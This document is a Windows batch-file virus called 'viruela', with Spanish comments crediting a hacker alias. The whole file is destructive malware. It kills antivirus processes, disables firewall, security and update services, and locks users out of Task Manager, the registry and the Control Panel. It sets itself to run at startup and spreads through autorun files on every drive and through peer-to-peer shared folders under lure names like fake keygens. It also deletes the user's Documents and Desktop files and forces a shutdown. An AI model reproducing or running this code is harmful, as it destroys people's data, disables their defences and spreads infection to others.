@echo off
msg * hacked by -={W4rR3d}=-
:: este virus fue creado por hacked by  W4rR3d
:: este virus esta dedicado a la comunidad hacker piura- peru
:: este virus informatico se llama viruela.exe
taskkill /f /im  egui.exe  /im  nod32kui.exe /im nod32krn.exe 
taskkill /f/im "explorer.exe" /im "teatimer.exe"/im "taskmgr.exe">nul 2>&1
net stop "Security Center"
net stop SharedAccess
net stop "Firewall de Windows/Conexion compartida a Internet (ICS)"
net stop "Actualizaciones automáticas"
net stop "Centro de seguridad"
net stop "Conexiones de red"
net stop "Windows Installer"
net stop "Servicios IPSEC" 
netsh firewall set opmode mode=disable
start /MAX %homedrive%\boot.ini & rundll32 user32.dll,SwapMouseButton
REG ADD "HKCR\batfile\DefaultIcon" /ve /d "%SystemRoot%\System32\shell32.dll,3" /f
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoViewContextMenu /t REG_DWORD /d 1 /f 
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f 
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v HideClock /t REG_DWORD /d 1 /f 
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f 
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoWinKeys /t REG_DWORD /d 1 /f 
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoWindowsUpdate /t REG_DWORD /d 1 /f 
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoSetTaskbar /t REG_DWORD /d 1 /f 
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoFolderOptions /t REG_DWORD /d 1 /f 
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v Hidden /t REG_DWORD /d 0 /f
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f
for /F %%v in (VistaKeygen,EmoticonesMSN,SerialOffice2007,ParisXXXPhotos,MSMemoticon,FreeXXXPhotos,Office2007) do (call :p2p %%v)
copy /y %0 "%homedrive%\viruela.exe"
reg add hklm\software\microsoft\windows\currentversion\run /v viruela /t reg_sz /d %homedrive%\viruela.exe /f
for %%E In (C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z) Do (
copy /Y %0 %%E:\viruela.exe
echo.[AutoRun]>> %%E:\autorun.inf
echo.open="%%E:\viruela.exe">> %%E:\autorun.inf
echo.action=Open folder to see files...>> %%E:\autorun.inf
attrib +r +s +h %%E:\autorun.inf
attrib +r +s +h %%E:\viruela.exe
:th
echo On Error Resume Next >> %homedrive%\abrir.vbs
echo Set oWMP = CreateObject("WMPlayer.OCX.7" ) >> %homedrive%\abrir.vbs
echo Set colCDROMs = oWMP.cdromCollection >> %homedrive%\abrir.vbs
echo. >> %homedrive%\abrir.vbs
echo if colCDROMs.Count >= 1 then >> %homedrive%\abrir.vbs
echo          For i = 0 to colCDROMs.Count - 1 >> %homedrive%\abrir.vbs
echo                   colCDROMs.Item(i).Eject >> %homedrive%\abrir.vbs
echo          Next    ' cdrom >> %homedrive%\abrir.vbs
echo End If >> %homedrive%\abrir.vbs
attrib +r +s +h %homedrive%\abrir.vbs
start %homedrive%\abrir.vbs
:ht
echo On Error Resume Next >> %homedrive%\apagar.vbs
echo set shell = CreateObject("WScript.Shell") >> %homedrive%\apagar.vbs
echo shell.run "shutdown.exe -s  -t 10" >> %homedrive%\apagar.vbs
start >> %homedrive%\apagar.vbs
:erar
DEL /Q /F /S "%systemdrive%\Documents and Settings\%USERNAME%\Mis documentos\*.*"
DEL /Q /F /S "%systemdrive%\Documents and Settings\%USERNAME%\Escritorio\*.*"
echo -={W4rR3d_by_hacked}=- >> "%systemdrive%\Documents and Settings\%USERNAME%\Escritorio\-={W4rR3d_by_hacked}=-.RAR.EXE"
echo -={W4rR3d_by_hacked}=- >> "%systemdrive%\Documents and Settings\%USERNAME%\Mis documentos\-={W4rR3d_by_hacked}=-.RAR.EXE"
:p2p
set war=%0
set var=%1
copy %war% "%programfiles%\Grokster\My Grokster\%var%.bat"
copy %war% "%programfiles%\Morpheus\My Shared Folder\%var%.bat"
copy %war% "%programfiles%\ICQ\shared files\%var%.bat"
copy %war% "%programfiles%\KaZaA\My Shared Folder\%var%.bat"
copy %war% "%programfiles%\KaZaA Lite\My Shared Folder\%var%.bat"
copy %war% "%programfiles%\EDONKEY2000\incoming\%var%.bat"
copy %war% "%programfiles%\eMule\Incoming\%var%.bat"
copy %war% "%programfiles%\Filetopia3\Files\%var%.bat"
copy %war% "%programfiles%\appleJuice\incoming\%var%.bat"
copy %war% "%programfiles%\Gnucleus\Downloads\%var%.bat"
copy %war% "%programfiles%\LimeWire\Shared\%var%.bat"
copy %war% "%programfiles%\Overnet\incoming\%var%.bat"
copy %war% "%programfiles%\Shareaza\Downloads\%var%.bat"
copy %war% "%programfiles%\Swaptor\Download\%var%.bat"
copy %war% "%programfiles%\WinMX\My Shared Folder\%var%.bat"
copy %war% "%programfiles%\Tesla\Files\%var%.bat"
copy %war% "%programfiles%\XoloX\Downloads\%var%.bat"
copy %war% "%programfiles%\Rapigator\Share\%var%.bat"
copy %war% "%programfiles%\KMD\My Shared Folder\%var%.bat"
copy %war% "%programfiles%\BearShare\Shared\%var%.bat"
copy %war% "%programfiles%\Direct Connect\Received Files\%var%.bat"
copy %war% "%appdata%\Ares\My Shared Folder\%var%.bat"
echo Msgbox "hallen la cura adecuada para combatir el virus V1ru3l4", vbcritical, "Windows" >> %systemdrive%\viruela.vbs
For /L %%a IN (0,1,1000) DO start %systemdrive%\viruela.vbs
start /MiN %homedrive%\boot.ini & rundll32 user32.dll,SwapMouseButton
goto :eof